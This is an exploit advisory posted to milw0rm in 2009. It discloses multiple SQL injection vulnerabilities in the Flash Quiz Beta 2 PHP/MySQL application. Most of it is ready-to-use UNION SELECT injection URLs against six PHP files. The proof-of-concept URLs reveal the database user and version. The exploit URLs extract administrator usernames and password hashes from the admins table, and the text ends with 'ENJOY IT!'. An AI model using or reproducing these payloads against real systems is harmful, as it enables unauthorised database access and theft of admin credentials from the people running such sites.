*********************************************************************************************** *********************************************************************************************** ** ** ** ** ** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] ** ** || || || [] [][] [] [] [] [] [] [] [] [] [] [] ** ** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] ** ** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ **==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>-- ** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] ** ** ** ** ** ** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ** ** ¡PROUD TO BE SPANISH! ** ** ** *********************************************************************************************** *********************************************************************************************** ---------------------------------------------------------------------------------------------- | MULTIPLE SQL INJECTION VULNERABILITIES | |--------------------------------------------------------------------------------------------| | | Flash Quiz Beta 2 | | | CMS INFORMATION: ------------------------ | | | |-->WEB: http://sourceforge.net/projects/flashquiz/ | |-->DOWNLOAD: http://sourceforge.net/projects/flashquiz/ | |-->DEMO: N/A | |-->CATEGORY: CMS / Testing | |-->DESCRIPTION: A Flash quiz system with a PHP/MYSQL back end supporting multiple | | quizzes per instance, result tracking, and high score tracking. | |-->RELEASED: 2009-04-13 | | | | CMS VULNERABILITY: | | | |-->TESTED ON: firefox 3 | |-->DORK: N/A | |-->CATEGORY: SQL INJECTION | |-->AFFECT VERSION: Beta 2 (maybe <= ?) | |-->Discovered Bug date: 2009-05-20 | |-->Reported Bug date: 2009-05-20 | |-->Fixed bug date: Not fixed | |-->Info patch: Not fixed | |-->Author: YEnH4ckEr | |-->mail: y3nh4ck3r[at]gmail[dot]com | |-->WEB/BLOG: N/A | |-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. | |-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | ---------------------------------------------------------------------------------------------- ######################### //////////////////////// SQL INJECTION (SQLi): //////////////////////// ######################### <<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>> ------- INTRO: ------- This system is completely vulnerable to sql injection. ------------------- PROOFS OF CONCEPT: ------------------- [++] GET var --> 'quiz' [++] File vuln --> 'num_questions.php' ~~~> http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/* [++] GET var --> 'quiz' and 'order_number' [++] File vuln --> 'answers.php' ~~~> http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/* ~~~> http://[HOST]/[PATH]/answers.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/* [++] GET var --> 'quiz' [++] File vuln --> 'high_score.php' ~~~> http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+version(),2,concat(user(),0x3A3A3A,version()),database(),5,6,7/* [++] GET var --> 'quiz' [++] File vuln --> 'high_score_web.php' ~~~> http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+version(),2,concat(user(),0x3A3A3A,version()),database(),5,6,7/* [++] GET var --> 'quiz' [++] File vuln --> 'results_table_web.php' ~~~> http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+version(),user(),concat(user(),0x3A3A3A,version()),database(),current_user(),6,database()/* [++] GET var --> 'quiz' and 'order_number' [++] File vuln --> 'question.php' ~~~> http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/* ~~~> http://[HOST]/[PATH]/question.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/* [++[Return]++] ~~~~~> user, version and database in DB. ---------- EXPLOITS: ---------- ~~~> http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/* ~~~> http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/* ~~~> http://[HOST]/[PATH]/answers.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/* ~~~> http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/* ~~~> http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/* ~~~> http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/* ~~~> http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/* ~~~> http://[HOST]/[PATH]/question.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/* [++[Return]++] ~~~~~> username:::password_hash in 'admins' table <<<-----------------------------EOF---------------------------------->>>ENJOY IT! ####################################################################### ####################################################################### ##*******************************************************************## ## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!## ##*******************************************************************## ####################################################################### ####################################################################### # milw0rm.com [2009-05-21]